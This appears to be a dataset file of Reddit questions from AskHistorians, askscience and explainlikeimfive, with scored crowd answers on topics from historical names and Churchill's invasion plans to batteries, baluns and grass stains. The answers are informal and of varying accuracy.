{"q_id": "37a6dv", "title": "What were some English first names that were once popular but has not been popular within the last century or two?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/37a6dv/what_were_some_english_first_names_that_were_once/", "answers": {"a_id": ["crl5hbo", "crl7bgn", "crl87pa", "crlny9a"], "score": [27, 3, 14, 6], "text": ["If you are looking for names that were popular in the United States, the Social Security Administration tracks them by decade starting with the 1880s on their website. Here is a link: _URL_0_", "Okay, do you mean English-language personal names (inluding USA, Canada, Down Under) or England only, no Scotland, Wales, Ireland (which was part of UK 100-200 years ago). ", "In the late 1800's there was a medieval revival in architecture, fontography (most medieval fonts you know are 19th C), dress, painting, writing, and opera subjects (not the music, though). Think Pre-Raphaelites. This time it was accompanied by a revival of medieval names, especially for girls, like Hildegarde, Matilda, and Maude. When you have girls called Hildy and Tilly in the 1920's, they were born before 1915. Maude seems especially fin se si\u00e8cle. Jonathan Winter's character Maude Frickert got her name as a way of giving her instant age.\n\nThe 1800's also saw the end of most of the New Names or Puritan virtue names. Some remain, mostly for girls: Faith, Hope, Charity, Joy, even Prudence. Mercy may be short for Mercedes. Chastity sometimes shows up. But the rest have vanished, except rarely. Tribulation was so popular it had its own nickname, Tribby or Tibby. Temperance, Freeborn, Fear-not, Love-God (Lovey for short) and the rest that you can see in *Curiousities of Puritan Nomenclature*.\n\nYou know how there was a fashion in the 1970's to name kids China and now there's a lot of Italian cities like Sienna? In the mid 1800's, round about the American Civil War, the country to name your girl after was India, and for some reason Tennessee got popular. Victoria Woodhull's sister was not the only Tennessee I've run into: there are lots of them in the first rolls of the Cherokee nation, too. \n", "_URL_3_ have some interesting data taken from parish registers for Baptism:\n\n* [17th Century](_URL_2_)\n* [18th Century](_URL_1_)\n* [Some analysis on the top 100 \"Drop Outs\" \\(names that used to be popular but are not anymore\\)](_URL_0_)\n\nThe source is a bit blogspammy for this sub, but they seem to be pulling from solid primary sources."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ssa.gov/oact/babynames/decades/"], [], [], ["http://britishbabynames.typepad.com/blog/2011/06/top-100-drop-outs-where-are-they-now-.html", "http://www.britishbabynames.com/blog/2011/06/curiosities-of-the-seventeenth-century.html", "http://www.britishbabynames.com/blog/2011/06/curiosities-of-the-eighteenth-century.html", "britishbabynames.com"]]}
{"q_id": "35ek70", "title": "Was oral sex something that was typically \"on the menu\" in brothels in the wild west or was it considered taboo at the time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/35ek70/was_oral_sex_something_that_was_typically_on_the/", "answers": {"a_id": ["cr43ihj", "cr43rb1", "cr44c6j", "cr44n5o"], "score": [4, 694, 85, 88], "text": ["Can you define a little more specifically what you mean by the 'Wild West?' Any dates in mind?", "I actually research prostitution during this time period.  My book An Evening with Venus: Prostitution During the American Civil War was published last year.  \nUnfortunately, it is very difficult to know what was or was not taboo among prostitutes.  The sex workers themselves left very few written records of their business.  Most of the records that they did leave have to do with their life circumstances that lead them to the sex trade.   \n\nLikewise, most customers didn't specifically note what went on during the transaction.  It was fairly rare to write in a letter to friends or family that one went to see a sex worker.  Even then, most of the time it was just a general mention that the person went to a brothel.  \n\nThat said,  most likely it was an acceptible act especially among prostitutes.  I've never seen anything about any specific acts being forbidden.  Most of the time, women of the time became prostitutes out of despiration.  With that in mind, I can't imagine them turning down a paying customer for something \"icky.\"", "I remember this coming up in a Freakonomics discussion and I managed to track down a source.\n\nSomething from a bit of a later date, but in *Slumming: Sexual and Racial Encounters in American Nightlife, 1885-1940* by Chad Heap, there is some discussion of fellatio and the author states that it was considered \"unnatural\" or \"foreign\" by most Americans at the time.  The euphemism for the practice was \"French\".  \n\nHe goes on to say that in the brothels where this was offered, the other prostitutes would shun those who offered the workers who did offer the practice, refusing to associate or eat with them.\n\nI would speculate that if in this time period it was considered unnatural and foreign to offer such services, it is possible that in the \"Wild West\" it may not have been offered.\n\nEdit: Here's the Google books link to save everyone time: _URL_0_", "I'm (somehow) new to the sub. I hope I can ask a question in the comments real fast: Was oral sex something not performed in a normal relationship? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://books.google.com/books?id=Pcs6T-NVz0wC&amp;lpg=PA136&amp;ots=2H8nIIkKnL&amp;dq=chicago%20brothels%20french&amp;pg=PA136#v=onepage&amp;q=chicago%20brothels%20french&amp;f=false"], []]}
{"q_id": "avwjmk", "title": "If I have a device powered with 2 AA batteries, and the device is at 50% battery life, but I only have 1 AA battery left; would switching only one battery increase the battery life of the device?", "selftext": "i.e. I have an xbox controller that is powered by 2 AA batteries. My controller is almost dead, at 20% battery life. If I switch out only one battery for a new one, does that increase the battery life of my xbox controller? Or does it remain at 20%?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/avwjmk/if_i_have_a_device_powered_with_2_aa_batteries/", "answers": {"a_id": ["ehj5icd", "ehj98bx", "ehlbl7n"], "score": [11, 6, 2], "text": ["It increases it, but not as much as you'd think because the new battery winds up charging the old battery, so energy is lost to heat that would otherwise be useable energy. You could actually damage the batteries doing this unless they are rechargeable batteries.", "It is dangerous to do so.\n\nThe problem is that you do not want to reverse charge batteries. Things will look good when you put the new battery in, but the flat battery will keep discharging. It will fully discharge, and then the fresh battery will start pushing current backwards through the battery, trying to reverse-charge it. This causes lots of problems, which will include making the flat battery leak.\n\nDon't do it.", "Not in any substantial way. The reason is that the battery voltage drops off very quickly once the battery is drained. \n\n & #x200B;\n\nThe batteries in your xbox controller are in series. Fully charged in each batteries voltage is about 1.6 volts. Discharged they are about 0.8 to 1.0 volt. So the battery voltage in series goes from 3.5V to 2.0 volts as it discharges. After that the voltage rapidly goes to 0.\n\n & #x200B;\n\nIf you put a fresh battery (1.6V) in with an old one (say 1.1V) the total voltage is 2.7V so it'll work. But what happens is once the old battery discharges fully the voltage drops very very quickly to zero. So total voltage would 1.5 volts, too low to run the controller.\n\n & #x200B;\n\nWorse is the fresh battery will reverse charge the now dead battery. Alkaline batteries will typically vent and leak electrolyte when that happens. (AKA pee corrosive crud inside the battery compartment)  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3iqlax", "title": "with all those satellites, planes and other means, why is amazon forest and taiga still so unexplored and unknown place?", "selftext": "We can explore space and Marian Trench, caves and human body, but still much of an amazon forests and taigas are untouched, uncharted and wondered. Why cant we just fly over them with some badass high tech telescopes and see it all to discover The Golden City and Machu Picchu v.2.0 ?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3iqlax/eli5with_all_those_satellites_planes_and_other/", "answers": {"a_id": ["cuiq1mk", "cuiqcl4"], "score": [11, 6], "text": ["I mean, if anything like Machu Picchu or similar large scale human architecture or other noteworthy surface feature is sitting somewhere in the Amazon or the Taiga, we probably already know about it.\n\nThe things we don't know about from these areas are generally the things that can't be seen from space like new species (discovered all the time in both areas), resources available under the ground, and even small groups of people.", "You mention Mariana Trench. The fact is that we know the surface of Mars better than we do the bottom of our oceans. Reasons for this is simply that the ocean makes it much more difficult to study the bottom as compared to the surface of Mars, which has no oceans and almost no clouds. It's easy for satellite to map the area.\n\nLikewise there's an immense amount of caves we do not yet know. We only know the caves *that we know*. And the human body still is very unknown to us. We do not know specifically how our brains operate or how our intestinal bacteria influence our mind for example.\n\nAmazon Forests and Taiga are better known than the bottom of the oceans. We are using satellites and such to find ancient ruins in the Amazon for example. Just because something is relatively untouched does not mean it's completely unknown and unexplored.\n\nAlso I'd note that Machu Picchu wasn't actually \"found\". It was never \"lost\". It was always known to the local people. It was just abandoned and let to decay for some reason. \"Finding\" was actually just first western people seeing it the first time and letting other people not familiar with know about it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "52pcg6", "title": "why do american high schools put so much emphasis on extra curricular activities?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/52pcg6/eli5_why_do_american_high_schools_put_so_much/", "answers": {"a_id": ["d7m4vp8", "d7m56wm", "d7m680n", "d7m8s90", "d7m9m1b", "d7mbzky", "d7mithc", "d7mmltv", "d7mo94j", "d7mqc9x", "d7mr24e", "d7mr2zu", "d7msm76", "d7my5nm"], "score": [22, 153, 8, 33, 8, 19, 10, 4, 3, 5, 3, 2, 2, 2], "text": ["Because those are what differentiate you from other students. Which ones you choose to do, how many you choose to do, how well you do in them is what makes you unique as a student and what will qualify you for more scholarships, grants, and specialty programs when you apply for going to college. ", "Because getting into colleges -- especially if you're looking at specific programs, really prestigious schools -- is a competitive progress.  \n\nLet's take Harvard, for example.  You're this massive ivy league school with endless in applicants.  Let's say 10,000 of them have 4.0 GPAs (the highest grade you can get without honors classes/weighted GPAs).  Well, you can't accept 10,000 students as an incoming class of freshmen.  So how do you differentiate the students?  By the stuff they did outside of school.  Do they show motivation and interest in succeeding outside of the classroom?  What of your character can you see but what they've been doing?  Who has already proven to some extent that they can be successful out in the real world?", "We like \"extra\" everything. Extra cheese, extra fries, extrajudicial renditions of suspected terrorists, *Extra* hosted by Mario Lopez, Tracey Edmonds and Charissa Thompson -- you name it.\n\nGives us something extra and we'll love it.", "It's part of what is referred to as having a \"rounded\" education. Colleges and employers look beyond just your grades, they want to see other things done too, and the kind skills those would have taken. It helps set apart students who might have the same GPA. If one had a 3.8 and did nothing else, but one had a 3.8 while engaged in marching band, theater, sports, and volunteer work, it makes them look much more attractive on paper. Extracurricular activities also develop a lot of skills that raw academia might not - problem solving, teamwork, time management, etc.", "The purpose of school is more than just teaching students to read, write, recite history and do math, it's to prepare young people to become adults. The classroom isn't always the best venue to teach many skills. Extracurricular activities provides a mechanism for students to learn and develop skills in leadership, teamwork, winning/losing, time management, problem solving, organization and physical fitness among other things. To a hiring manager, these are priority skills.", "There are about 140,000 kids in the US that will get SAT (math + verbal) scores above 1500.  There are 26,000 students who graduated first in their high school class (and about 100,000 who will graduate in the top 5).  \n\nThe entire ivy league only admits about 14,000 freshman each year (so using top SAT scores and even the top few class ranks means there are far more potentially academically qualified students than Ivy League freshmen).  So the Ivy League schools place a healthy emphasis on extracurricular activities in their admissions decisions, and many schools follow that lead in their own admissions process.  ", "This has been my observation. I'm curious who else shares it.\n\nAmericans and Europeans value different things. Europeans value two things Americans value less, hard skills and \"the system.\" Europeans believe that those who get the best grades in the hardest classes will be the top performers in college and the job market. They believe that the best path to success is do as their told and have the highest grades, test scores, and prestige. \n\nThe US has less regard for hard skills and \"the system,\" but a much higher regard for \"soft skills.\" These include things like creativity, leadership, work ethic, problem solving, communication etc. It's not that grades and test scores don't matter, it's that they aren't all that matter. We make associations with extracurricular activities and \"soft skills\" since it's hard or impossible to determine them anyway else. Team captain signifies leadership. Sports signify a competitive spirit and work ethic. Theater and music signifies creativity among other things. Chess club signifies a love for solving problems, and also competitive spirit. The list goes on. There's also the belief that it makes you an overall more interesting and relatable person. Colleges and employers to a lesser extent believe extra circulars give them information that grades, test scores, and the name brand of the school do not. That's why they place emphasis on them. As a result, getting into a good college involves doing a fair number of extracurriculars. ", "Because they give an indication of your interests, talents, and dedication to give a better picture of who you are... seeing that somebody was a varsity basketball player, or played trumpet in the band, or was newspaper editor, or participated in Model UN, etc. give a fuller picture than he took English, Trigonometry, U.S. History like every other high school junior at his school. Universities look at things like what organizations/clubs/teams somebody was involved with (ie. Model UN, newspaper or skateboard club), how many different activities (did they do one or many, leadership (were they an editor, captain, hold board position, etc.), dedication (did they play the sport or play in the band all 4 years, did they do entirely different activities each year), etc. ", "High schools don't care about extracurricular activities at all. \n\nIt's the colleges that care what you did while you're in high school. Even most colleges don't care about extracurricular activities (e.g., at many state schools, if you get a certain GPA and SAT/ACT score, you're automatically admitted, even if your only \"extracurricular activity\" was playing video games.)\n\nIt's only the top colleges (Ivies, Stanford, MIT, etc.) that get so many qualified candidates that the only way to stand out is if you have extracurricular activities (for reasons better explained in other posts). ", "For millennium, Art, Drama, Music, and Physical Education along with academics were considered the \"whole\" education and focusing on one part did not create a whole, logical thinker. \n\nToday, it's a practice from a bygone era that unless it directly relates to your major, is really only used to make schools appear more sophisticated and give them a \"valid\" reason to disqualify applicants who otherwise meet the same standards of other applicants.\n\nDo you think Yale cares if you were a band geek in high school?  No, but if they have only one spot and two resumes with equal SATs and GPAs. One with extras, one without.. How do you decide?\n\n", "People who just go to school and do the work have a tendency to fail, often for no apparent reason. (I can't offer supporting evidence for this).", "I want my kids to try new things, have fun, and learn about themselves and others.  Music, movement, team sports, art, provide these things.  I'm not worried about college apps.  ", "For me, it helped me figure out what I wanted to do in life. I was in athletics through middle school and high school and am now a Head Athletic Trainer at a high school. ", "Current high school student here. The teachers tell us that we need to join a club or a team because it's the second most important thing colleges look for in a person. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1acjyg", "title": "why does google give me twice as much storage space for my e-mails as it does for google drive? i don't need 10gb of space for e-mails but i sure could use it for cloud storage.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1acjyg/eli5_why_does_google_give_me_twice_as_much/", "answers": {"a_id": ["c8w3fn1", "c8w7q7e", "c8w7uyi", "c8w865m", "c8wabkl", "c8wmkkr"], "score": [96, 19, 9, 12, 3, 3], "text": ["It's hard to look into the heads of googles' bosses, but probably because they assume that not many people actually fill up 10 GB of e-mails, but a lot of people will fill up 10 GB of cloud storage.\n\nThis means that the total amount of data google has to store is much lower this way.", "You kind of answered your own question. :)\n\nMost people won't use 10G for emails, so they can get away with having maybe 1G per user of actual disk space.\n\nBut everyone I know redlines their dropbox and Google drive.\n\nAlso, email is a different technical problem.  You can do things like saving up one copy of a shared attachment and save a lot of space.  The overhead and legal concerns of finding and sharing identical files is a nightmare.\n\n", "On average it's easier to compress emails (lots of text) than binary files like images. Even if you filled your 10GB with emails and 5GB with files your emails would probably take up less space on Google's servers because of compression.\n\nObviously you could fill that 10GB of emails with image attachments and 5GB of drive with text files, but on average peoples' emails will be smaller than their drive files after compression.", "You can always email a lot of files to yourself. ", "Email is usually text, which compresses a ton. So 10gb of email is really like 1gb (or less) of actual hard disk space.\n", "In addition to what other people have said, part of it might be about how they make money from advertising.  I'm not sure how good their targeted ads on Drive are, but with emails they scan everything in your inbox so they can make ad revenue based on keywords.  I'm assuming Drive files will be much less useful in tailoring demographic info for advertising, so it may be that they just give more server space to services that provide more ad revenue."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "4qloim", "title": "the chilcot enquiry", "selftext": "I searched the subreddit for the keywords but found nothing. Couldn't find any good videos on YouTube other than opinion pieces so could anyone kindly explain what exactly it is about? \n\nMany thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4qloim/eli5_the_chilcot_enquiry/", "answers": {"a_id": ["d4uf2af"], "score": [5], "text": ["The Chilcot Enquiry was a public enquiry that began in 2009 to examine the role of the UK government and others in the lead up to the Iraq war to consider Britain's involvement in Iraq between mid-2001 and July 2009. It covered the run-up to the conflict, the subsequent military action and its aftermath with the purpose to establish the way decisions were made, to determine what happened and to identify lessons to ensure that in a similar situation in future, the British government is equipped to respond in the most effective manner in the best interests of the country.\n\nIt is due to be published in July of this year, and is reputed to be some one million words in length. Tony Blair and George Bush are both  expected to be heavily criticised .\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7bmitw", "title": "difference between beat, bar, steps, tempo, tact, and rhythm.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7bmitw/eli5_difference_between_beat_bar_steps_tempo_tact/", "answers": {"a_id": ["dpj575y", "dpj8p12", "dpkdxgo"], "score": [50, 8, 2], "text": ["Many of these have multiple meanings, these are the ones I run across most often. \n\nBeat: a length of time. This is used nonmusically as well, \u201cstep on stage, give a beat, then deliver your line\u201d. In music is it usually the pulse that you can clap to. In 4/4 time, for example you get 4 beats in your bar. \n\nBar: a bar is a logical collection of beats. Bars usually get 3 or 4 beats, but other options are possible. \n\nStep: I usually see this in composition programs. It is common to have a run of notes that are all the same length, for example 8 sixteenth notes. The step is the distance between each note. If you were notating this, you want to step at sixteenth notes. You typically set your step to eighth notes or triplets or quarter notes. \n\nTempo: how fast the beats happen. Usually measured in \u201cbeats per minute\u201d or BPM. \n\nRhythm: this is the collection of notes in the music. Take all the notes in a phrase, and that is the rhythm. \n\nTact: I have never heard of this. ", "Masters degree in conducting here: tact in this context likely refers to tactus, which is the term for how many beats are felt in each bar.\nFor example, in 4/4 there may be 4 beats in the bar, but if the conductor wants the music to flow \u201cfaster\u201d they might only conduct 2 big beats instead. ", "I havent heard amyone use the word tact in english, but in danish takt is what the number of beats per bar. Ie. 3/4, 4/4, 6/8 etc.\n\nThe beat goes skrraa, papa kakaka, skrra ka papa, skidda ki papa and a pu pu drru boom, skia, dupupupu boom boom, poom poom, you dun know"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "p6ebp", "title": "the tree of life (movie)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/p6ebp/eli5_the_tree_of_life_movie/", "answers": {"a_id": ["c3n04ik", "c3n2p0j", "c3n2yo2"], "score": [3, 2, 2], "text": ["[Wikipedia](_URL_0_) gives a decent explanation.\n\nTerrence Malick isnt one to \"spoon feed\" people the concepts. Personally, I think his movies are a bit ahead of his time but he's still one of my favorite directors.", "Guys brother dies. He recalls the important memories he had alongside his brother on the anniversary of his death. The nature documentary part (which I personally didn't belong there) represent how everything all throughout time led to this exact moment in his life. He meets his brother and parents in his memory (the beach part)", "think it was focused on depicting how we are all connected and built from the same stuff, while also blowing a massive load of  epicness into it as possible, every shot in that movie is like woah! that being said, it doesn't succeed in a lot of the ways we love movies succeed and is as~~ Maraku11~~ said, likely lacking much deeper meaning besides the transparent"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/The_Tree_of_Life_%28film%29"], [], []]}
{"q_id": "1ozpzj", "title": "the water bottle puzzle from die hard with a vengeance", "selftext": "Seriously, it seemed like they didn't really explain it at all and it left me utterly confused. Any help?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ozpzj/eli5_the_water_bottle_puzzle_from_die_hard_with_a/", "answers": {"a_id": ["ccx8uim", "ccxlf9m"], "score": [23, 2], "text": [" (1) Fill the five gallon jug. Three gallon jug is empty.\n\n(2) Empty three gallons from the five gallon jug into the three gallon jug.\n\n(3) There remains two gallons in the five gallon jug. Empty the three gallon jug.\n\n(4) Pour the two gallons into the three gallon jug.\n\n(5) Fill the five gallon jug and pour one gallon from it into the three gallon jug - filling the three gallon jug.\n\n(6) Four gallons remain in the five gallon jug. We have solved the problem. \n\nFrom: _URL_0_", "To solve problems like this you can draw a 'state diagram'.  For example if you currently have (3,0)  - meaning the first jug has 3 units in it and the second jug has none, then label a point (3,0) and draw lines out from it to every other possible state you can get via a single pour; in this case (3,3) and (0,3), and (5,0), and (0,0).  Eventually your tree will reach all possible states, if you don't overlook anything.\n\nIn fact you could do a little bit of pruning and not bother linking to (0,0) and (5,0) as they can be obtained trivially at any time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.math.tamu.edu/~dallen/hollywood/diehard/diehard.htm"], []]}
{"q_id": "9s5ssu", "title": "why does the sunshine feel \u201chotter\u201d on west coast than the east coast of the united states?", "selftext": "The temperature differential between being in the shade and in the sun feels a lot more intense on the west coast than the east coast. In California, it feels like ~20 degrees (f) cooler in the shade, while it feels only ~5 degrees cooler in the shade in Washington DC.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9s5ssu/eli5_why_does_the_sunshine_feel_hotter_on_west/", "answers": {"a_id": ["e8ma0w4", "e8mab8t", "e8mj60m", "e8mz1di", "e8mzm5o"], "score": [13, 4, 3, 2, 2], "text": ["California is generally very dry, and dry air feels cooler. Very humid air inhibits your body's ability to cool down by sweating, so it makes you feel hotter.", "I dont know about cali, but I know when I lived in Phoenix for a year (I'm from the midwest) I definitely noticed what you are referring to. \nThe main explanation I came up with and the only thing I can offer would be due to the humidity. For the east coast, it is much more humid compared to Phoenix (and san diego the one time I went)\nThe humidity can hold much more heat which diminishes the relief that comes from the shade. \nThat's the best I got ", "I agree with everyone feeling humidity is the answer.  It prevents your sweat from evaporating as efficiently, therefore drawing less heat off you as less swear phase changes from liquid to vapor.\n\nUs Canadians came up with something called the humidex.  We factor humidity into the temperature, so we can say it's 28*C but feels like 35*C.  It's not perfect but better than a thermometer for what to expect when heading out for the day.", "In the west, you are probably used to the south (California) vs being further north when you are on the east coast (New York).  In fact, with humidity I would argue that the sun feels hotter on the east coast. I have been to Southern California, Nevada, and Arizona and never felt the heat of Louisiana or South Carolina.  Give me a desert over a swamp any day at the same temp. ", "Think of why water takes forever to heat up or cool down. \n\nAnd then realize that the South is 90% humidity a good portion of the year. It can be 90 F in both Anaheim and Atlanta. \n\nBut Atlantans will feel less change in the temperature due to the humidity as they are constantly sweating. Think of a glass with condensation. It feels cooler than a dry metallic glass that has no condensation. \n\nSo, you\u2019ll feel heat \u201cmore\u201d on the West Coast mainly because the humidity isn\u2019t drawing as much moisture out of you through condensation and diffusion of water. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3mjfad", "title": "How was a 12-Pound Cannon referred to after the Metric system?", "selftext": "I used 12-pound as an example because I knew for a fact it existed, but the question obviously applies to all sizes of cannons.  I understand that cannons were referred to by the weight of their ordinance, i.e., how many pounds the cannonball weighed.  But, after the French Revolution, did they change the name of these weapons to match the Metric system, or did they continue to use pounds?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3mjfad/how_was_a_12pound_cannon_referred_to_after_the/", "answers": {"a_id": ["cvfozcn"], "score": [4], "text": ["The French referred to it as the Canon obusier de 12 - because the calibre was 12cm. They also used the Canon de 12 and Canon de 8, which were 12 and 8cm calibre respectively.\n\nThey adopted these systems in the 1840s to 1850s, and used punds until then."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2noyts", "title": "Is this _URL_0_ article on the transcontinental railroad bad history?", "selftext": "I don't know a ton about the time period. It just seems like he is trying to shoehorn his political beliefs into this event. Not saying there wasn't corruption occurring, just that there was probably a more nuanced story. _URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2noyts/is_this_misesorg_article_on_the_transcontinental/", "answers": {"a_id": ["cmfic4y", "cmfmsiz"], "score": [2, 5], "text": ["I can't tell you anything about it, as it's outside my area of focus, but it might help to post a link to the article you're talking about?\n\nEdit: words are hard", "If you want to read a short and good book on the subject, Rayner's *The Associates* tells the story of Leland Stanford, Huntington, Crocker, and friends, as they built out railroads in the West. \n\nSetting aside the Mises article's smugness about Austrian Economics, they are absolutely right about the corruption and crony capitalism of the railroad trade. For example, when they came here to Fresno, they told the City Council that if they wanted the train to come through here, they'd need free land, tons of cash \"incentives\", and so forth. This was what they did with most of the cities, and it usually work. Fresno told them to go to hell... and they built the railroad anyway. \n\nThe whole Progressive Revolution with Hiram Johnson was a reaction to the crazy amount of power the railroads had in turn over state politics."]}, "title_urls": ["Mises.org"], "selftext_urls": ["http://mises.org/library/crony-capitalism-and-transcontinental-railroads"], "answers_urls": [[], []]}
{"q_id": "1y627i", "title": "What were the contingency plans for Churchill's safety if the Germans successfully invaded England? Was he planning to flee to somewhere in the Commonwealth and set up a government in exile or make a last stand in his bunker like Hitler?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1y627i/what_were_the_contingency_plans_for_churchills/", "answers": {"a_id": ["cfi3fjq", "cfi463a", "cfiktq0"], "score": [115, 34, 4], "text": ["Churchill had arranged operation Fish, having all the wealth of the UK (gold, securities) moved to Canada. The gold was to be kept in Ottawa and the securities under the Sun life building in Montr\u00e9al. The British thought that Canada was a safest place for their gold. One might speculate that in case of imminent invasion, the Royal family and the government would have followed the gold.\n\n_URL_0_", "Reading Paul Reid's  &  William Manchester's The Last Lion: Defender of the Realm, 1940-1965, Churchill was supremely confident the Germans unambiguously lacked the capability of mounting a successful invasion of Great Britain. I think the most telling example of this belief was the decision to send men and mat\u00e9riel from the island to support the war efforts in North Africa, even while the Battle of Britain was on everyone's mind. The fiery rhetoric about bonking the heads of Germans on the British beaches was more a matter of reinforcing British resolve and morale.\n\nIn short, it's difficult to answer what Churchill would do if Great Britian were successfully invaded because he was so confident the Germans lacked the capacity to do so. For what it's worth, a last stand implies the imminently conquered opponent has nowhere to go/nothing to hope for. Even if the islands fell, Churchill could have counted on the remnants of the British Empire, the USSR, and the US to continue the war.\n", "A side note - there is a series of programs that tells the story of Churchill's bodyguard, Walter Thompson. The two men spent much time together and Thompson saved Churchill from harm on several occasions.\n\nI forget the exact words, but in one episode Churchill intimated that should the Germans \"come for him\", he wouldn't be taken alive. He carried a colt revolver and according to Thompson was a pretty good shot. Of course its pretty unlikely that he'd ever be left in such a situation but Churchill did have a tendency to get into potentially dangerous situations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.collectionscanada.gc.ca/cool/002027-2301-e.html"], [], []]}
{"q_id": "3og4e3", "title": "Does microgravity (i.e., ISS) affect the growth and behavior of microorganisms such as bacteria or groups of bacteria like biofilms?", "selftext": "I would think thermal motion dominates biological processes at the length scale of bacteria, but curious to hear the answer! ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3og4e3/does_microgravity_ie_iss_affect_the_growth_and/", "answers": {"a_id": ["cvxmgst", "cvxzuwb"], "score": [2, 2], "text": ["[Here](_URL_0_) is an overview of some of the experiments done to look at this with links to the actual papers for the more technical reader at the bottom.", " I personally know some differrnces in the plant developement in microgravity environments in experiments done by NASA and ESA. But i bellieve there should be some experiments about that. With some research you should be able to find something:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nasa.gov/mission_pages/station/research/experiments/710.html"], ["http://www.ncbi.nlm.nih.gov/pubmed/15773020"]]}
{"q_id": "cmj80u", "title": "what is a \u2018balun\u2019 and how does it affect an antenna?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cmj80u/eli5_what_is_a_balun_and_how_does_it_affect_an/", "answers": {"a_id": ["ew2w68j", "ew37nhu"], "score": [5, 3], "text": ["A balun in antenna system is usually is used to match impedance of two wires. Balun straight up means balanced/unbalanced. So if you have an antenna and you have a feedline to the antenna you need to match the impedance of both lines. This is typically important when you are using an antenna to broadcast because if there is a impedance mismatch some of that broadcast power is going to be reflected back into the transmitter and can cause damage.\n\nIf you have a 50ohm feedline and a antenna of 400ohm you'll need a 4:1 balun to make the system happy. \n\nLong and short it's to make unbalanced relationships in a system be able to work with each other (So not like Tinder).", "Imagine you\u2019re pedaling a bike. \n\nAn unbalanced line would be like pedaling with both feet on one pedal at once. \n\nA balanced line would be like pedaling with one foot in each pedal - you know, like a normal person.\n\nEach method will get you where you\u2019re going with the same effort, but they\u2019re different magnitudes and directions of effort.\n\nA balun is a passive device that simply converts between these two methods with, ideally, minimal loss. Coax feedlines are unbalanced, and many antennas - like dipoles, yagis, and log periodically - prefer balanced feeds. Hence the need for conversion.\n\nThere\u2019s also the question of impedance matching. That\u2019s actually kind of analogous to changing gears on the bike."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ycpw3", "title": "Would it be possible to survive on a diet consisting purely of meat (chicken, beef, lamb etc.)?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ycpw3/would_it_be_possible_to_survive_on_a_diet/", "answers": {"a_id": ["c5udhk2", "c5udmwu", "c5ujh3c"], "score": [2, 2, 2], "text": ["Yes you could. [This article](_URL_0_) goes into detail about an experiment where two people did just that. ", "Yes. For example, consider [the Inuit](_URL_0_). Protein, fat, and vitamins are all available in meat. The body (mainly the liver) will manufacture whatever glucose it needs from the amino acids in dietary protein.\n", "You would need to be careful in your selection of meat.  Eating only lean meat without much fat could lead to [Rabbit Starvation](_URL_0_).\n\nAlso, while an individual or a small group of people could survive on a meat-only diet. It would not be sustainable globally.\n\nThis article compares the sustainability of meat-based and plant-based diets: _URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://inhumanexperiment.blogspot.com/2009/09/two-brave-men-who-ate-nothing-but-meat.html"], ["http://en.wikipedia.org/wiki/Inuit_diet"], ["http://en.wikipedia.org/wiki/Rabbit_starvation", "http://www.ajcn.org/content/78/3/660S.full"]]}
{"q_id": "2vdrov", "title": "If grass turns brown when it dies, why do grass stains stay green?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2vdrov/if_grass_turns_brown_when_it_dies_why_do_grass/", "answers": {"a_id": ["cogtx6d"], "score": [19], "text": ["Plant leaves are basically made up two types of photosynthetic pigments: chlorophylls and carotenoids. Chlorophylls gives green color while corotenoids gives brown. In young leaves, the no. of chlorophylls is dominant, so it is green. As the plant gets old, chlorophylls degenarate and carotenoids become dominant. So it gets brown.\nHowever a grass stain is literally dead, so the chlorophylls dont degenate, and remain as it is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
